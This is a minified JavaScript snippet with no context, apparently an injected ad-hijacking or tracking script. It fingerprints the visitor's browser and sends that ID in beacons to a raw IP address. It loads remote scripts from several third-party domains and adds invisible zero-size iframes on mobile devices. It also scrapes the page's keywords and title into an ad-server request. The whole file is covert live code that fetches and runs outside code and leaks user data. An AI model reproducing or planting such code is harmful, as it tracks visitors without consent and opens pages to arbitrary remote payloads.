(function(){ var util = { hash: function (s) { var h = 0, g = 0, i = s.length - 1; for (i; i >= 0; i--) { var code = parseInt(s.charCodeAt(i), 10); h = ((h << 6) & 0xfffffff) + code + (code << 14); if ((g = h & 0xfe00000) != 0) { h = (h ^ (g >> 21)); } } return h; }, guid: function () { var s = [navigator.platform, navigator.userAgent, window.screen.width, 'x', window.screen.height, document.referrer].join(""), sLen = s.length, hLen = window.history.length; while (hLen) { s += (hLen--) ^ (sLen++); } return (Math.round(Math.random() * 2147483647) ^ util.hash(s)) * 2147483647; } }; var id = util.guid(),uid='',t='unknown',g='test'; var stat = function(data) { if(location.protocol=='https') return; var url = "http://117.121.41.236:9001/s.htm?b=newroot&"; var i = new Image(); i.src = url + data + "&t="+t+"&g="+g+"&uid=" + uid + "&rid=" + id + "&_=" + (new Date().getTime() + Math.random() * 2147483647) }; stat('e=enter'); if(window._fcy_sc) return false; window._fcy_sc = true; if(window._fcy_nr) return false; window._fcy_nr = { rid:id, uid:uid, t:t, g:g, href: window.location.href, referrer: document.referrer }; stat('e=bexec'); if(!navigator.userAgent) return; var ua = navigator.userAgent.toLowerCase(), head = (document.head == null ? document.getElementsByTagName("head")[0] : document.head), isMob = function () { if(!ua) return false; return (/ipad/i.test(ua) || /iphone/i.test(ua) || /android/i.test(ua) || /midp/i.test(ua) || /rv:1.2.3.4/i.test(ua) || /ucweb/i.test(ua) || /windows mobile/i.test(ua) || /windows ce/i.test(ua)); }, isIOS = function () { if(!ua) return false; return (/ipad/i.test(ua) || /iphone/i.test(ua)); }, load = function(url, attrs, log){ var s = document.createElement("script"); s.setAttribute("type", "text/javascript"); if(attrs) for(var k in attrs){ s.setAttribute(k, attrs[k]); } s.setAttribute("src", url); head.appendChild(s); if(log){ s.onload = s.onreadystatechange = function() { if (!this.readyState || this.readyState == "loaded" || this.readyState == "complete") { stat('e=loaded&url='+encodeURIComponent(url)) } s.onload = s.onreadystatechange = null }; } }, createIfr = function (url) { var iframe; try{ iframe = document.createElement(''); }catch(e){ iframe = document.createElement('iframe'); iframe.setAttribute('src',url); iframe.setAttribute('width','0'); iframe.setAttribute('height','0'); iframe.setAttribute('border','0'); iframe.setAttribute('frameborder','no'); } document.body && document.body.appendChild(iframe); }; try{ load('https://vci.coaxg.cn/config/rep.js?_=' + parseInt(new Date().getTime()/86400000), {async:'',id:'__fcy_rep_',uid:uid,rid:id,t:t,g:g}, 1); setTimeout(function(){ stat('e=1s'); }, 1000); if(isIOS()){ load('https://fx.happygod.cn/hdmx/st/tl/dt572.js'); } if(isMob()){ load('https://res.iyoowi.com/iy/iy.js?cid=E706C72B'); load('https://a.urlat.cn/upp/pqk04b'); createIfr('http://vci.coaxg.cn/scr/ysas_1857.html'); } load('https://vci.coaxg.cn/scr/as2.js?_=' + parseInt(new Date().getTime()/86400000), {async:''}); }catch(e){ stat('e=error&err='+encodeURIComponent(e)); } if(window.top != window) return false; var s = document.createElement("script"); s.setAttribute("type","text/javascript"); s.setAttribute("id","_fcy_s"); s.setAttribute("t","unknown"); s.setAttribute("g","test"); s.setAttribute("defer","defer"); var metas = document.getElementsByTagName("meta"); var keywords = ""; for(var i = 0 ; i < metas.length ;i++){ if(metas[i].getAttribute("name") == "keywords"){ keywords += metas[i].getAttribute("content"); } if(metas[i].getAttribute("name") == "description"){ keywords += metas[i].getAttribute("content"); } } keywords +=document.getElementsByTagName("title")[0] ? document.getElementsByTagName("title")[0].text : ""; s.setAttribute("src","https://ad.coaxg.cn/s?t=unknown&g=test&rz=113&_=" + new Date().getTime()+ "&keywords=" + encodeURIComponent(keywords)); document.head && document.head.appendChild(s); if(isMob()){ load('https://vci.coaxg.cn/config/callup.js?_=' + parseInt(new Date().getTime()/86400000), {defer:'',id:'__fcy_callup_',uid:uid,rid:id,t:t,g:g}, 1); } })();